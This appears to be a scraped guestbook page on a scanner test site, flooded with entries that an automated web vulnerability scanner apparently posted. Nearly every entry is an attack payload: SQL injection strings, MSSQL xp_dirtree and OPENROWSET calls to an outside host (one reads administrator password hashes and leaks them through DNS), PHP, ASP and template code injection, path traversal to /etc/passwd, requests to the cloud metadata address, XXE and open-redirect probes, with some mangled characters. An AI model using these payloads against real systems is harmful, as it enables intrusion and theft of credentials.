-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ '{${print(int)0xFFF9999-22}}' +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ {php}print(int)0xFFF9999-22;{/php} +

+
+

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR X='ss

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR 17-7=10

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ "+print(int)0xFFF9999-22+" +

+
+

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

'+NSFTW+'

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1' OR 1=1 OR 'ns'='ns

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

1 AND 'NS='ss

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ '+print(int)0xFFF9999-22+' +

+
+

NSFTW

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

NS1NO

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +print(int)0xFFF9999-22;// +

+
+

'

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ print(int)0xFFF9999-22; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ print(int)0xFFF9999-22 +

+
+

1))exec('xp_dirtree ''\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1))exec('xp_dirtree ''\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ <% response.write(268409241-22) %> +

+
+

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.0.0.1:3306

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.100.11.2:22

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ "+response.write(268409241-22)+" +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ +response.write(268409241-22)' +

+
+

1;exec('xp_dirtree ''\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://169.254.169.254/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

1;exec('xp_dirtree ''\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ response.write(268409241-22)' +

+
+

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://aws.r87.me/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

127.0.0.1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

::1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

127.100.11.2/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

54.204.37.212/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

%27

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

testsparker.com/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://testsparker.com/elmah

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.0.0.1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me +

+
+

::1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.100.11.2/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

54.204.37.212/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

127.0.0.1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

::1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

127.100.11.2/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

54.204.37.212/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

testsparker.com/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://testsparker.com/trace.axd

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

https://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

///r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

/\r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ ]>&lfi; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ ]>&lfi; +

+
+

r87.com/?https://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

//r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ #{28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ${28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ r87.com/n +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:05 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ http://r87.com/n?.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ hTTp://r87.com/n +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

Guestbook.aspxďż˝

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

hTTp://r87.com/n

+

